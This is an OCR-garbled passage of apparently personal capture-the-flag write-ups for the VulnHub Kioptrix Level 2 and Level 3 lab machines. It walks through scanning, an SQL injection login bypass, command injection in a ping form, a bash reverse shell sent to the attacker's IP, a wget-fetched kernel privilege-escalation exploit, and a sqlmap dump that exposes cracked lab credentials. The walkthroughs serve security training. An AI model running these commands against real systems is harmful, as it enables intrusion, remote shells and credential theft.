~ +byCVypEORpkQcDya+ngDMVzrkA+9KQSR/5W6Bj1dLWE0A50ZgyfvAAAAFQC/ |

= 1RZe4LlaYXwHvYYDpjnoCPY3xQAAAIBKFG1/zr/ulJxCV8a9dIAMIEOrk0jYtwvpDCdBre450ruolIl/ |

~ hsparzdJs898SMWX1kEzigzUdtobDVT8nWdJAVRHCm8ruy4IQYIdt jYowXD7hxZTy/FOx0siTRWBYMQPe81WloA+

< xabqlnCO3ppjmBecV1CwEMoeefnwGWAkxwAAATAKajcioQiMDYW7veV13Y jmagbwyliad+

< V9a08JmgMi3cNrO4V1O0FF+

< n70IZ5QYvpSKcQgRzwNylEWS juVOXh96m2g3rqEvDd4kTttCD101tPgP6q6Z8JI0IGzcIGYBy6UWAIxjOD7F2ccc7fAM2022 |
~ +qgFp+FFiLeFDVbRhYz4sg==

| 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)

| _ssh-rsa

< AAAAB3NzaClyc2EAAAABIWAAATEA4 j5XFFw9Km2yphjpulgzDBglGSpMxtR8z0vpHIgUbOMXXbCQeXgOK3rsdcs/ |

< j75G54jALm99Ky7tgToNaEuxmQmwnpYk9bntoDu9SkiT/hPZd0wq4OyrfWIHz1UNWTpY30kTdf/ |

< YNUAd14NOBOYbfOx/dsAdHHqSWnvZmruFA6M=

| _sshvl: Server supports SSHvl
80/tcp open http syn-ack ttl 64 Apache httpd 2.0.52 ((Cent0S))

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.0.52 (Cent0S)

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).

111/tcp open rpcbind syn-ack ttl 64 2 (RPC #100000)

| rpcinfo:

| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 622/udp status
|_ 100024 1 625/tcp status

443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.0.52 ((Cent0S))

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.0.52 (Cent0S)

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/

< stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/organizationalUnitName=
< SomeOrganizationalUnit/emailAddress=root@localhost.localdomain
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Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/
< stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/organizationalUnitName=

< SomeOrganizationalUnit/emailAddress=root@localhost.localdomain
Public Key type: rsa

Public Key bits: 1024

Signature Algorithm: md5WithRSAEncryption

Not valid before: 2009-10-08T00:10:47

Not valid after: 2010-10-08T00:10:47

MD5: Olde 29f9 fbfb 2eb2 beaf e624 3157 090f

SHA-1: 560c 9196 6506 fbOf fb81 66bl ded3 acll 2ed4 808a

MIIEDDCCA3WgAwIBAgIBADANBgkghkiGOwOBAQQFADCBuzELMAkKGA1UEBhMCLSOx
EjAQBgNVBAgTCVNvbWVTAGFOZTERMASGA1UEBxMIU29tZUNpdHkxGTAXBgNVBAOT
EFNvbWVPcmdhbml6YXRpb24xHzAdBgNVBAsTF1NvbWVPcmdhbml16YXRpb25hbFVu
aXQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpb jEpMCcGCSqGSIb3DAEJ
ARYacm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4wHhcNMDkxMDA4MDAxXMDQ3WhcN
MTAxMDA4MDAxMDQ3WjCBuzELMAkGA1UEBhMCLSOXEjAQBgNVBAgTCVNvbWVTAGFO
ZTERMABGA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNvbWVPcmdhbml16YXRpb24x
HzAdBgNVBAsTF1NvbWVPcmdhbml6YXRpb25hbFVuaXQxHjAcBgNVBAMTFWxvY2Fs
aG9zdC5sb2NhbGRvbWFpb jEpMCcGCSqGSIb3DQEJARYacm9vdEBsb2NhbGhve3Qu
bG9jYWxkb21haW4wgZ8wDQYJKoZIhvcNAQEBBQADgYOAMIGJAoGBAN4duNVEr4aLl
TUfsjacXKcCaRs1oTxsdNTIxkp7SV2PDD+mBY5shsXt/FMG7Upf4g605+W6ZEhEB
WpLXonDFaRIxxn4AGSOLg8q20kUt9p2HZufaSLSwfSwJ+CTMwYtNS8AUO jhf3r0y8
jr+jjEUOHT404YXcnDRvbIUeHKedPPsTAgMBAAGjggEcMIIBGDAdBgNVHQ4EFgQU
QAs+0wqZIYsWC1Q2ZBav2uPP/mAwgegGA1UdIwSB4DCB3YAUQAs+0wqZIYsWC1Q2
ZBav2uPP/mChgcGkgb4wgbsxCzAJBgNVBAYTAiOtMRIWEAYDVQQIEw1Tb211U3Rh
dGUXETAPBgNVBACTCFNvbWVDaXRE5MRkwFwYDVQQKExBTb211T3InYW5pemFOaWou
MRBWHQYDVQQLExZTb211T3JnYW5pemFOaW9uYWxVbmlOMR4wHAYDVQQDExVsb2Nh
bGhvc3QubGojYWxkb21haW4xKTAnBgkqhkiGOwOBCQEWGNnJvb3RADGY jYWxob3NO
LmxvY2FsZGOtYWluggEAMAWGA1UdEwWQFMAMBAL8wDQYJKoZIhvcNAQEEBQADgYEA
Hvq7KPeUTn36S5z/Au95TmC7aSkhIkGVHMRGhWe7KTEf1qQf£YTqJ0S4xsu/FxDRy
9IG0apsyILGEx57apuCYJW3tpwMUrpUXu/x9g3LM+VghiHOXxMOfbueVhqWZ+yP8
LisROr5u+FeGOBBIINAmpWUX2xEdB4p97WYzPO3rEQU=

_ssl-date: 2019-09-27T22:07:26+00:00; -3h09m37s from scanner time.
sslv2:

SSLv2 supported

ciphers:
SSL2_RC4_128_EXPORT40_WITH_MD5
SSL2_RC2_128 CBC_WITH_MD5
SSL2_DES_64_CBC_WITH_MD5
SSL2_RC4_64_WITH_MD5
SSL2_RC4_128_WITH_MD5
SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
SSL2 _DES_192_ EDE3_CBC_WITH_MD5

655/tcp open status syn-ack ttl 64 1 (RPC #100024)
631/tcp open ipp syn-ack ttl 64 CUPS 1.1

http-methods:
Supported Methods: GET HEAD OPTIONS POST PUT
Potentially risky methods: PUT
_http-server-header: CUPS/1.1
_http-title: 403 Forbidden

3306/tcp open mysql syn-ack ttl 64 MySQL (unauthorized)
MAC Address: 00:0C:29:DD:3C:B5 (VMware)

Host script results:



so | _clock-skew: mean: -3h09m37s, deviation: Os, median: -3h09m37s

90

91 Read data files from: /usr/bin/../share/nmap

92 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
o3 # Nmap done at Fri Sep 27 18:17:03 2019 -- 1 IP address (1 host up) scanned in 15.14 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ openports

4 Port Protocol Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 3.9p1 (protocol 1.99) ./results/192.168.92.182/scans/tcp_22_ssh_nma

./re ? ns/tcp http

http
http

http

http ttl 64 Apache httpd 2.0.52 ((Cent0S))

./results/192.168.92.182/scans/tcp_443_http_nmap.txt
./results/192.168.92.182/scans/tcp_443_https_gobuster.txt
4, L43/tcp ssl/http ttl 64 Apache httpd 2.8.52 ((Cent0S)) ./results/192.168.92.182/scans/tcp_443_https_nikto.txt
./results/192.168.92.182/scans/tcp_&43_https_robots.txt
./results/192.168.92.182/scans/tcp_443_https_whatweb.txt
./results/192.168.92.182/scans/tcp_&43_sslscan. txt

5. 625/tcp status ttl 64 1 (RPC #100024)
6. 631/tcp ipp ttl 64 CuUPS 1.1 ./results/192.168.92.182/scans/tcp_631_cups_nmap.txt
7. 3306/tcp mysql ttl 64 MySQL (unauthorized) ./results/192.168.92.182/scans/tcp_3306_mysql_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find a login form served at 80/tcp. Within HTML comments we find reference to a possible username admin
and successfully login using SQL injection:

1 admin/' or 1=1 -- -


https://github.com/Tib3rius/AutoRecon

-

X | http://192.168.92.182/ X | 192.168.92.182%/index.php X |

@ New Tab
= 1 | @ view-source:http://192.168.92.182/

P

links

<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">

<table width="300" border="1" align="center" cellpadding="2" cellspacing="2">

<tr=
<td colspan='2' align='center's
<h>Remote System Administration Login</b>
</td>

</tr>

<tr=
<td width="150"=Username</td>

<td><input name="uname" type="text"=</td>
</ tr=

<tr>
<td width="150">Password</td>

<td=
<input name="psw" type="password">

</td=
</tr>

<tr>
<td colspan="2" align="center">
<input type="submit" name="btnLogin" value="Login">

=/td>
</tr=
</table>
</form=
<!-- Start of HTML when logged in as s
</body>
</html>

Figure 4: writeup.enumeration.steps.3.1

@ NewTab X | 192.168.92.182/index.php X | +
(¢€)> @  ©#& 192168.92.182/ndex.php
links
Remote System Administration
Login
Username | admin |
Password sesssBERBREES '@a|
| | Login |

Figure 5: writeup.enumeration.steps.3.2

4. Once logged in, we find a web administration console with a text input field to accept an IP address. The web
console will POST this IP to the pingit.php script that runs a ping query against this IP and shows result:



Findings

Open Ports

22/tcp
80/tcp
111/tcp
443/tcp
625/tcp
631/tcp
3306/tcp

@ New Tab X | 192.168.92.182/index.php %X | +

&« @ | @ 192.168.92.182/index.php
= links

| Welcome to the Basic Administrative Web Console

Ping a Machine on the
Network:

submit |

Figure 6: writeup.enumeration.steps.4.1

@ New Tab X | 192.168.92.182/index.php X | 192.168.92.182/pingit.php

@ @ 192.168.92.182/pingit.php
5 links
8.8.8.8

PING B.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp seq=0 tt1=128 time=41.6 ms
8.8.8.8: icmp_seg=l tt1=128 time=24.5 ms
8.8.8.8:

icmp_seq=2 ttl=128 time=27.1 ms

64 bytes from
64 bytes from

- 8.8.8.8 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 24.516/31.084,/41.627/7.531 ms, pipe 2

Figure 7: writeup.enumeration.steps.4.2

ssh | OpenSSH 3.9pl1 (protocol 1.99)
http | Apache httpd 2.0.52 ((Cent0S))
rpcbind | 2 (RPC #100000)

ssl/http | Apache httpd 2.0.52 ((Cent0S))
status | 1 (RPC #100024)

ipp | CUPS 1.1

mysql |  MySQL (unauthorized)



Phase #2: Exploitation

1. We try to inject additional command after the IP using a ; as separator and get results back:

1 8.8.8.8 ; uname -a

@ New Tab X | 192.168.92.182%/index.php X | 192.168.92.182/pingitphp X |+

(— — (@ | ® 192.168.92.182/index.php
B links

| Welcome to the Basic Administrative Web Console

Ping a Machine on the l 8.8.8.8 ; uname -3 l
Network: |

submit |

Figure 8: writeup.exploitation.steps.1.1

@ New Tab X | 192.168.92.182/index.php X | 192.168.92.182/pingitphp X | +

& = @ | ® 192.168.92.182/pingit.php
B links

8.8.8.8 ; uname -a

PING B.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp seq=0 tt1=128 time=23.1 ms
64 bytes from 8.8.8.8: icmp seg=1 tt1=128 time=25.4 ms
64 bytes from 8.8.8.8: icmp seq=2 tt1=128 time=25.2 ms

--- B8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2082ms
rtt min/avg/max/mdev = 23.147/24.623/25.454/1.054 ms, pipe 2

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 1686 1386 GNU/Linu:

Figure 9: writeup.exploitation.steps.1.2

2. We can also run commands without providing the IP which makes it a little faster to get results back:

1 ; uname -a

@ NewTab X | 192.168.92.182/index.php X | 192.168.92.182/pingit.php X |+

(— — @ | @ 192.168.92.182/index.php
= links

| Welcome to the Basic Administrative Web Console

Ping a Machine on the l  uname -3 l
Network: |

submit

Figure 10: writeup.exploitation.steps.2.1



@ NewTab il 192.168.92,182/index.php X | 192.168.92.182/pingitphp X | +

& = (@ @ 192.168.92.182/pingit.php
B links

; uname -a

Linux kioptrix.lewvel2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 1686 1686 1386 GNU/Linux

Figure 11: writeup.exploitation.steps.2.2

3. We try to use Python to get a reverse shell connection but it fails. We fallback on Bash reverse shell and it
works:

1 nc -nlvp 443
2 ; bash -i >& /dev/tcp/192.168.92.183/443 0>&1

; uname -a ; id ; pwd ; which python

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 1686 1686 1386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache)

Svar fwww/html

Jusr/bin/python

Figure 12: writeup.exploitation.steps.3.1

| Welcome to the Basic Administrative Web Console

Ping a Machine on the i >& /dev/tcp/192.168.92.183/443 0>&1 ]
Network: |

submit

Figure 13: writeup.exploitation.steps.3.2

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix2 # nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.183] from (UNKNOWN) [192.168.92.182] 32832
bash: no job control in this shell
bash-3.00%
bash-3.00% id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00%
bash-3.00% uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 1686 i686 1386 GNU/Linux
bash-3.00%
bash-3.00% ifconfig
ethe Link encap:Ethernet HWaddr 00:0C:29:DD:3C:B5
inet addr:192.168.92.182 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fedd:3cb5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:695106 errors:16 dropped:72 overruns:® frame:®
TX packets:647251 errors:® dropped:® overruns:@ carrier:@
collisions:® txqueuelen:1000
RX bytes:77457955 (73.8 MiB) TX bytes:136053412 (129.7 MiB)
Interrupt:177 Base address:0x2000

Figure 14: writeup.exploitation.steps.3.3

Phase #2.5: Post Exploitation



1 apache@kioptrix.level2> id

2 uid=48(apache) gid=48(apache) groups=48(apache)

3 apache@kioptrix.level2>

4+ apache@kioptrix.level2> uname

5 Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 1686 1686 1386 GNU/Linux
¢ apache@kioptrix.level2>

7 apache@kioptrix.level2> ifconfig

s ethO Link encap:Ethernet HWaddr 00:0C:29:DD:3C:B5

9 inet addr:192.168.92.182 Bcast:192.168.92.255 Mask:255.255.255.0
10 inet6 addr: fe80::20c:29ff:fedd:3cb5/64 Scope:Link

11 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

12 RX packets:695106 errors:16 dropped:72 overruns:0 frame:0

13 TX packets:647251 errors:0 dropped:0 overruns:0 carrier:0

14 collisions:0 txqueuelen:1000

15 RX bytes:77457955 (73.8 MiB) TX bytes:136053412 (129.7 MiB)

16 Interrupt:177 Base address:0x2000

[

7 apache@kioptrix.level2>
s apache@kioptrix.level2> users
19 root

[

10



Phase #3: Privilege Escalation

1. We try the usuals (crontab|setuid|chkrootkit|etc.) but do not find anything interesting. While exploring the
current directory, we find that /var/www/html/index.php file has hardcoded MySQL credentials for user john:

head /var/www/html/index.php
mysql_connect ("localhost", "john", "hiroshima") or die(mysql_error());

bash—3.00$ pwd

Jvar/www/html

bash-3.00%

bash-3.00% 1s -la

total 24

drwxr-xr-x 2 root root 4096 Oct 8 2009 .
drwxr-xr-x 8 root root 4096 Oct 7 2009 ..
-rwxr-sr-t 1 root root 1733 Feb 9 2012 index.php
-rwxr-Sr-t 1 root root 199 Oct 8 2009 pingit.php
bash-3.00%

bash-3.00% head index.php

<7php

mysql connect("localhost", "john", "hiroshima") or die(mysql error());
//print "Connected to MySQL<br /=";
mysql select db("webapp");

if ($ _POST['uname'] != ""){
$username = $ POST['uname'];
$password = $ POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
/J/print $query."<br>";
bash-3.00%

Figure 15: writeup.privesc.steps.1.1

2. We find web application password hashes for users admin and john from the users table within webapp database:

mysql -h localhost -u john -p
show databases;
use webapp;
show tables;
select * from users;

bash-3.88% mysgl -h localhost -u john -p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1030 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases

ST
B -
| Database |
B +
| mysql |
| test |
| webapp |
B +

3 rows in set (8.01 sec)

Figure 16: writeup.privesc.steps.2.1
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mysql= use webapp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables

e +
| Tables in webapp |
e o +
| users

e +

1 row in set (0.00 sec)

mysql= select * from users;

Hommo e e +
| id | username | password |
+------ +---------- e +
| 1 | admin | 5afac8d8sT |
| 2 | john | 66lajGGbla |
Homomm- e oo +

2 rows in set (0.80 sec)

Figure 17: writeup.privesc.steps.2.2

3. From the /etc/redhat-release file we find that the target system is Cent0S release 4.5 (Final):

1 cat /etc/redhat-release

bash-3.80% 1s -1 fetc/*release

-rw-r--r-- 1 root root 27 May 5 2007 /etc/redhat-release
bash-3.00%

bash-3.00%

bash-3.80% cat /etc/redhat-release

Cent0s release 4.5 (Final)

bash-3.00%

Figure 18: writeup.privesc.steps.3.1

4. We find an exploit for this CentOS release using searchsploit:

1 searchsploit linux kernel centos 4.5
2 Linux Kernel 2.6 < 2.6.19 (White Box 4 / Cent0S 4.4/4.5 / Fedora Core 4/5/6 x86) -
< 'ip_append_data()' RingO Privilege Escalation (1) | exploits/linux_x86/local/9542.c

5. We transfer this exploit file to the target system, compile it using gcc and execute it to get elevated access:

1 sharehttp 9999

2 cd /tmp

3 wget http://192.168.92.183:9999/9542.c
14 gcc -o 9542 9542.c

5 ./9542

12



root

http:
http:
http:
http:
http:
http:
http:

@kali:

//192.
//192.
//192.
//192.
//192.
//192.
//192.

~£toolbox£datafwriteubsfvulnhub.kiobtrixz # sharehttp 9999

168.
168.
168.
168.
168.
168.
168.

=,
o2.
=,
o2.
=,
o2.
=,

Serving HTTP on ©
192.168.92.182 -

[©

183

183

.0.0

183
183
183
183:
183

[28/Sep/2019 18:16:47]
192.168.92.182 - - [28/Sep/2019 18:16:52] "GET /9542.c HTTP/l.0" 200 -

9999,/192.168.92.182-443.png
:9999/192.168.92.182-80.png
9999,/9542.¢c

:9999/passwd

9999/results

9999/screenshot.html
9999/writeup.yml

.0 port 9999 (http://0.0.0.8:9999/)

Keyboard interrupt received, exiting.
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix2 #

Figure 19: writeup.privesc.steps.5.1

bash-3.00% wget http://192.168.92.183:9999/9542.cC
http://192.168.92.183:9999/9542.c
‘9542.c'
Connecting to 192.168.92.183:9999... connected.
HTTP request sent, awaiting response... 200 0K
Length: 2,643 (2.6K) [text/plain]

Permission denied

--21:00:

9542.c:

Cannot write to

bash-3.0
bash-3.0

36--
==

0%
0%

bash-3.00% cd /tmp
bash-3.00% wget http://192.168.92.183:9999/9542.cC
http://192.168.92.183:9999/9542.c
‘9542.c'
Connecting to 192.168.92.183:9999... connected.
HTTP request sent, awaiting response... 200 0K
Length: 2,643 (2.6K) [text/plain]

--21:00:

42--
=

Bk o

"9542.c'

21:00:42 (360.08 MB/s) -

bash-3.0
total 4
STW-r--T
bash-3.0

0% 1s

-1

(Permission denied).

'9542.c' saved [2643/2643]

-- 1 apache apache 2643 Sep 28 2019 9542.c

0%

Figure 20: writeup.privesc.steps.5.2
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bash-3.00% gcc -o 9542 9542.c

9542.c:109:28: warning: no newline at end of file

bash-3.00% 1s -1

total 12

-rwxr-xr-x 1 apache apache 6932 Sep 27 21:01 9542

-rw-r--r-- 1 apache apache 2643 Sep 28 20819 9542.c

bash-3.00% ./9542

sh: no job control in this shell

sh-3.00# id

uid=0{root) gid=0(root) groups=48(apache)

sh-3.00#

sh-3.00# uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 1686 1686 1386 GNU/Linux

sh-3.00#

sh-3.00# ifconfig

etho Link encap:Ethernet Hwaddr ©0:0C:29:DD:3C:B5
inet addr:192.168.92.182 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fedd:3cb5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1
RX packets:697570 errors:16 dropped:72 overruns:® frame:0
TX packets:647886 errors:@ dropped:® overruns:@ carrier:@
collisions:® txqueuelen:1000
RX bytes:77723482 (74.1 MiB) TX bytes:136119707 (129.8 MiB)
Interrupt:177 Base address:0x2000

Figure 21: writeup.privesc.steps.5.3
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Loot
Hashes

Credentials
mysql: john/hirosh...
webapp: admin/5afac8...., john/661ajGG. ..

References

[++] https://www.vulnhub.com/entry /kioptrix-level-11-2,23/
[+] https://byte8blog.wordpress.com/2017/03/18 /kioptrix-level-2-writeup/
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[VulnHub] Kioptrix: Level 1.2 (#3)

Date: 29/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ lotuscms, privesc_ sudoers, privesc_ sudo

Overview
This is a writeup for VulnHub VM Kioptrix: Level 1.2 (#3). Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#24"

Name Rating Difficulty 0S 0SCPlike  Owned TTPs

@® & privesc_sudoers

1. vulnhub#24  Kioptrix: Level 1.2 (#3)
privesc_sudo

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_lotuscms&unscoped_q=exploit_lotuscms
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
https://github.com/7h3rAm/machinescli

[VulnHub] Kioptrix: Level 1.2 (#3)

1192.168.92.184 |

¥
‘Phase #1: Enumeration‘

4 h 4

'22/tcp | 80/tcp |

L

‘LotusCMS Gallarific-

h i ¥

Phase #2: Exploitation

h i A
remote code execution exploit sql injection

¥

netcat (www-data) mysql database dump

h

credentials for users dreg and loneferret

¥

ssh loneferret@l92.168.92.184

. h J .
Phase #3: Privilege Escalation

h 4

.sudo -1.
.sudo ht'

. Y .
edit /etc/sudoers and allow loneferret to run all commands

. L .
sudo su

Y
‘root‘

Figure 2: Writeupjoverview.killchain



TTPs

1. 80/tcp/http/Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntub5.6 with Suhosin-Patch): ex-
ploit_ lotuscms, privesc_sudoers, privesc_sudo


https://github.com/7h3rAm/writeups#exploit_lotuscms
https://github.com/7h3rAm/writeups#exploit_lotuscms
https://github.com/7h3rAm/writeups#privesc_sudoers
https://github.com/7h3rAm/writeups#privesc_sudo
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Sat Sep 28 20:47:08 2019 as: mmap —vv —--reason —Pn -sV -sC
» ——version-all —olN
s /root/toolboz/writeups/vulnhub.kioptriz3/results/192.168.92.184/scans/_quick_tcp_nmap.txt
o —0X
s /root/toolboz/writeups/vulnhub.kioptriz3/results/192.168.92.184/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.184
Nmap scan report for 192.168.92.184
Host is up, received arp-response (0.00090s latency) .
Scanned at 2019-09-28 20:47:09 PDT for 9s
Not shown: 998 closed ports
Reason: 998 resets
PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
| ssh-dss
< AAAAB3NzaClkc3MAAACBALACPDFXD9Zn20NktcyGQL37Dn6s9Ja0v30K jxfdiABmOGjRKLEtbSAK3vhBBUJTZcVKYZk211FHAqoe |
o /+er4U9yOLOBbSOKNSXQQVHNQFOLC9C58hKMF/OSjDSSIZnaI4ZO7M4HdeMYXDNrmj2x6qczbfqecs+J
< z4cEYVUF3R3AAAAFQCuGOmm7mLm1GGqZRSICZ+omMZkKQAAATEAD j8NDHABML+Pp06GWQZ01hte8JRZT5do6n8+
< bCgRS0OvaYLYGoNi/GBz1ET6tMSjWMsyhVY/
<~ YKTNTXRjqzS1DqbODM7M1GzL jsmGtV1kLoQafV6HI25JsKPCEzSImjeO0CpzwRP50p jmMrYBMj jKqt I1WYpaUi jT4uR08tdaTxCukAA
= +SLCa0dZCH+jnclNo3060INF1FjzICdgDONL2YbBeU3CiAL2BureorAEOlturvvrIC2xVn2vHhrLpz6NPbDAkrLV2/ |
o rwoavbCkYGrwXdBHd50bgBIkoUKbI1hGIGAB1nafI2t joXPfIeHeNOep20hgr32x9x1x
| 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
| _ssh-rsa AAAAB3NzaClyc2EAAAABIWAAAQEAyOv6c+50N+N+ZNDtjetiZ0eUxnIR1UOUGSF+
< a24Pz2xqdnJC1EN003zxGJB3gfPdJ1lyqUDiozbEth1GBP//
~ 8wbWsalpLJOL1YmcumEJCsitngnrVN7huACG127UjKP8hATECjCHzc1P372gN3AQ/ |
< hbaZd0VV17e03HnAJ64Zz10QzVJ+DKWIbiHoXC2cdD1P+n1hK5fULeOQBvmA14gk] 2LWAGKILHi isHZpF+
< V3X7NvXYyCSSI9GeXwhW4RKOCGAGVbjY{7d93K9gjOoU7dHrbdNKgXOWosuhMuXmK1eHkIxf yLAILYWrRRjOGVdhZfbI99J3TYaR |
< /yLTpbOD6mhw==
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntub5.6 with
< Suhosin-Patch)
| http-cookie-flags:
I/
| PHPSESSID:
| _ httponly flag not set
| _http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:3F:EF:00 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap dome at Sat Sep 28 20:47:18 2019 -- 1 IP address (1 host up) scanned in 10.35 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

openports

# Port Protocol Service Scans
1. 22/tcp  ssh ttl 64 OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0) ./results/kioptrix3.com/scans/tcp_22_ssh_nmap.txt
2. L L

Figure 3: writeup.enumeration.steps.2.1

3. We added an entry for this target within /etc/hosts file:

1 tail -2 /etc/hosts
2 192.168.92.184 kioptrix3.com

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 # tail -2 fetc/hosts
192.168.92.184 kioptrix3

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 #

Figure 4: writeup.enumeration.steps.3.1

4. We find a login page at the following url: http://kioptrix3.com/index.php?system=Admin

| @ # kioptrix3.com/index.php? system=Admin&page=LloginSubmit

-

‘ tq Usermame or password left blank.

Username:

Password:

-Droullly Powered by: Lotusf.lk"::‘-

Figure 5: writeup.enumeration.steps.4.1

5. We find that the underlying CMS is LotusCMS and use searchsploit to look for any exploits. There were two hits
but nothing useful as using Metasploit is out of scope for this writeup. We decided to look for non-MSF versions
of the remote code execution exploit for LotusCMS:

1 searchsploit lotuscms



root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 # searchsploit lotuscms

Exploit Title | Path
| (/usr/share/exploitdb/)
3.0.3 - Multiple Vulnerabilities | exploits/php/webapps/16982. txt
3.0 - 'eval()' Remote Command Execution (Metasploit) | exploits/php/remote/18565.rb

shellcodes: No Result
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 #

Figure 6: writeup.enumeration.steps.5.1

6. We also find a gallery application hosted on the following url: http://kioptrix3.com/gallery/. We test this
application for SQLi using sqlmap and are able to dump the dev_accounts table from the gallery database. This
table lists unsalted MD5 hashes for users dreg and loneferret that are auto-cracked by sqlmap:

sqlmap --batch -u "http://kioptrix3.com/gallery/gallery.php?id=null" --dump
Database: gallery
Table: dev_accounts
[2 entries]

S T +
| 1 | dreg | 0d3eccfb887aabd50f243b3£155c0f85 (Mast3r) |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
e D +

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 # sqlmap --batch -u "http://kieptrix3.com/gallery/gallery.php?id=null" --dump

I 1.2.7#stable

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsit
ssume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:22:20
[21:22:20] [INFO] resu

2:20] [INFO]
[IN

k-end DBMS 'mys

the following injection point(s) from stored session:

sqglmap resume

Figure 7: writeup.enumeration.steps.6.1



[21:23:53] [INFO] using hash method ‘'md5 generic passwd'

[21:23:53] [INFD] starting dictionary-based cracking (md5 generic passwd)
[21:24:06] [INFO] cracked password 'Mast3r' for user 'dreg’

[21:24:88] [INFO] cracked password 'starwars' for user 'loneferret’

Database: gallery
Table: dev accounts
[2 entries]

e e o e +
| id | username | password |
R e e e e -
| 1 | dreg | 8d3ecctbB887aabd561243b3T155c0f85 (Mast3r)

